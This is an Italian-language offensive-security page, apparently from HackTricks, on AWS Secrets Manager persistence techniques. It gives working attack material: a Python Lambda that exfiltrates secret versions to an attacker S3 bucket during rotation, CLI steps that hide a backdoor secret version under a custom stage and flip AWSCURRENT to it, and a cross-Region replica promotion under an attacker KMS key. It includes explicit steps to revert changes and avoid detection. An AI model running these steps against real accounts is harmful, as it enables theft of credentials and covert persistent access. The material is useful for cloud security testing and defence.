# AWS - Secrets Manager Persistence

{{#include ../../../../banners/hacktricks-training.md}}

## Secrets Manager

Per maggiori informazioni consulta:

{{#ref}}
../../aws-services/aws-secrets-manager-enum.md
{{#endref}}

### Tramite Resource Policies

È possibile **grant access to secrets to external accounts** tramite resource policies. Check the [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) per maggiori informazioni. Nota che per **access a secret**, l'account esterno avrà anche **need access to the KMS key encrypting the secret**.

### Tramite Secrets Rotate Lambda

Per **rotate secrets** automaticamente viene chiamata una configurata **Lambda**. Se un attacker potesse **change** il **code** potrebbe direttamente **exfiltrate the new secret** verso sé stesso.

This is how lambda code for such action could look like:
```python
import boto3

def rotate_secrets(event, context):
# Create a Secrets Manager client
client = boto3.client('secretsmanager')

# Retrieve the current secret value
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']

# Rotate the secret by updating its value
new_secret_value = rotate_secret(secret_value)
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)

def rotate_secret(secret_value):
# Perform the rotation logic here, e.g., generate a new password

# Example: Generate a new password
new_secret_value = generate_password()

return new_secret_value

def generate_password():
# Example: Generate a random password using the secrets module
import secrets
import string
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
return password
```
### Sostituire la Lambda di rotazione con una funzione controllata dall'attaccante tramite RotateSecret

Abusa di `secretsmanager:RotateSecret` per ricollegare un secret a una rotation Lambda controllata dall'attaccante e forzare una rotazione immediata. La funzione malevola esfiltra le versioni del secret (AWSCURRENT/AWSPENDING) durante i passaggi di rotazione (createSecret/setSecret/testSecret/finishSecret) verso una destinazione dell'attaccante (es. S3 o HTTP esterno).

- Requirements
- Permissions: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` sulla Lambda dell'attaccante, `iam:CreateRole/PassRole/PutRolePolicy` (o AttachRolePolicy) per fornire il ruolo di esecuzione della Lambda con `secretsmanager:GetSecretValue` e preferibilmente `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (così la rotazione continua a funzionare), KMS `kms:Decrypt` per la KMS key del secret, e `s3:PutObject` (o egress in uscita) per l'esfiltrazione.
- Un SecretId di destinazione (`SecretId`) con la rotazione abilitata o la possibilità di abilitarla.

- Impact
- L'attaccante ottiene il/i valore/i del secret senza modificare il codice di rotazione legittimo. Viene cambiata solo la configurazione di rotazione per puntare alla Lambda dell'attaccante. Se non viene notato, le rotazioni programmate future continueranno a invocare la funzione dell'attaccante.

- Attack steps (CLI)
1) Prepara la destinazione di esfiltrazione e il ruolo Lambda dell'attaccante
- Crea un bucket S3 per l'esfiltrazione e un ruolo di esecuzione trusted da Lambda con i permessi per leggere il secret e scrivere su S3 (più logs/KMS come necessario).
2) Deploy della Lambda dell'attaccante che ad ogni step di rotazione recupera il/i valore/i del secret e li scrive su S3. Una logica minima di rotazione può semplicemente copiare AWSCURRENT in AWSPENDING e promuoverla in finishSecret per mantenere il servizio funzionante.
3) Ricollega la rotazione e attiva
- `aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately`
4) Verifica l'esfiltrazione elencando il prefisso S3 per quel secret e ispezionando gli artifact JSON.
5) (Optional) Ripristina la Lambda di rotazione originale per ridurre il rischio di rilevamento.

- Example attacker Lambda (Python) exfiltrating to S3
- Ambiente: `EXFIL_BUCKET=<bucket>`
- Handler: `lambda_function.lambda_handler`
```python
import boto3, json, os, base64, datetime
s3 = boto3.client('s3')
sm = boto3.client('secretsmanager')
BUCKET = os.environ['EXFIL_BUCKET']

def write_s3(key, data):
s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json')

def lambda_handler(event, context):
sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step']
# Exfil both stages best-effort
def getv(**kw):
try:
r = sm.get_secret_value(**kw)
return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')}
except Exception as e:
return {'error': str(e)}
current = getv(SecretId=sid, VersionStage='AWSCURRENT')
pending = getv(SecretId=sid, VersionStage='AWSPENDING')
key = f"{sid.replace(':','_')}/{step}/{token}.json"
write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending})
# Minimal rotation (optional): copy current->pending and promote in finishSecret
# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
```
### Version Stage Hijacking per persistenza nascosta (custom stage + fast AWSCURRENT flip)

Abusa delle etichette di stage di versione di Secrets Manager per inserire una versione del secret controllata dall'attaccante e mantenerla nascosta sotto uno stage personalizzato (per esempio, `ATTACKER`) mentre la produzione continua a usare l'originale `AWSCURRENT`. In qualsiasi momento, sposta `AWSCURRENT` sulla versione dell'attaccante per avvelenare i workload dipendenti, quindi ripristinala per minimizzare il rilevamento. Questo fornisce persistenza backdoor furtiva e una rapida manipolazione del time-of-use senza cambiare il nome del secret o la rotation config.

- Requirements
- Permissions: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (for verification)
- Target secret id in the Region.

- Impact
- Mantieni una versione nascosta e controllata dall'attaccante di un secret e commuta in modo atomico `AWSCURRENT` su di essa su richiesta, influenzando qualsiasi consumer che risolva lo stesso nome del secret. La commutazione e il rapido ripristino riducono la probabilità di rilevamento permettendo allo stesso tempo la compromissione al momento dell'uso.

- Attack steps (CLI)
- Preparazione
- `export SECRET_ID=<target secret id or arn>`

<details>
<summary>Comandi CLI</summary>
```bash
# 1) Capture current production version id (the one holding AWSCURRENT)
CUR=$(aws secretsmanager list-secret-version-ids \
--secret-id "$SECRET_ID" \
--query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \
--output text)

# 2) Create attacker version with known value (this will temporarily move AWSCURRENT)
BACKTOK=$(uuidgen)
aws secretsmanager put-secret-value \
--secret-id "$SECRET_ID" \
--client-request-token "$BACKTOK" \
--secret-string {backdoor:hunter2!}

# 3) Restore production and hide attacker version under custom stage
aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage AWSCURRENT \
--move-to-version-id "$CUR" \
--remove-from-version-id "$BACKTOK"

aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage ATTACKER \
--move-to-version-id "$BACKTOK"

# Verify stages
aws secretsmanager list-secret-version-ids --secret-id "$SECRET_ID" --include-deprecated

# 4) On-demand flip to the attacker’s value and revert quickly
aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage AWSCURRENT \
--move-to-version-id "$BACKTOK" \
--remove-from-version-id "$CUR"

# Validate served plaintext now equals the attacker payload
aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text

# Revert to reduce detection
aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage AWSCURRENT \
--move-to-version-id "$CUR" \
--remove-from-version-id "$BACKTOK"
```
</details>

- Note
- Quando fornisci `--client-request-token`, Secrets Manager lo usa come `VersionId`. Aggiungere una nuova versione senza impostare esplicitamente `--version-stages` sposta `AWSCURRENT` sulla nuova versione per default e marca quella precedente come `AWSPREVIOUS`.


### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)

Abusa della replica multi-Region di Secrets Manager per creare una replica di un secret target in una Region meno monitorata, criptarla con una KMS key controllata dall'attacker in quella Region, quindi promuovere la replica a secret standalone e allegare una permissive resource policy che conceda all'attacker accesso in lettura. Il secret originale nella Region primaria rimane invariato, fornendo un accesso duraturo e stealthy al valore del secret tramite la replica promossa, bypassando i vincoli di KMS/policy sulla primaria.

- Requisiti
- Permissions: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
- Nella replica Region: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (o `kms:PutKeyPolicy`) per permettere al attacker principal `kms:Decrypt`.
- Un attacker principal (user/role) per ricevere accesso in lettura al secret promosso.

- Impatto
- Percorso di accesso cross-Region persistente al valore del secret tramite una replica standalone sotto un KMS CMK controllato dall'attacker e una permissive resource policy. Il secret primario nella Region originale resta intatto.

- Attacco (CLI)
- Variabili
```bash
export R1=<primary-region>   # e.g., us-east-1
export R2=<replica-region>   # e.g., us-west-2
export SECRET_ID=<secret name or ARN in R1>
export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
```
1) Creare attacker-controlled KMS key nella Region di replica
```bash
cat > /tmp/kms_policy.json <<'JSON'
{"Version":"2012-10-17","Statement":[
{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"}
]}
JSON
KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \
--query KeyMetadata.KeyId --output text)
aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID"
# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
```
2) Replicare il secret su R2 usando la attacker KMS key
```bash
aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
```
3) Promuovere la replica a standalone in R2
```bash
# Use the secret name (same across Regions)
NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
```
4) Allegare una resource policy permissiva al secret standalone in R2
```bash
cat > /tmp/replica_policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
JSON
aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
```
5) Leggi il secret dall'attacker principal in R2
```bash
# Configure attacker credentials and read
aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
```
{{#include ../../../../banners/hacktricks-training.md}}
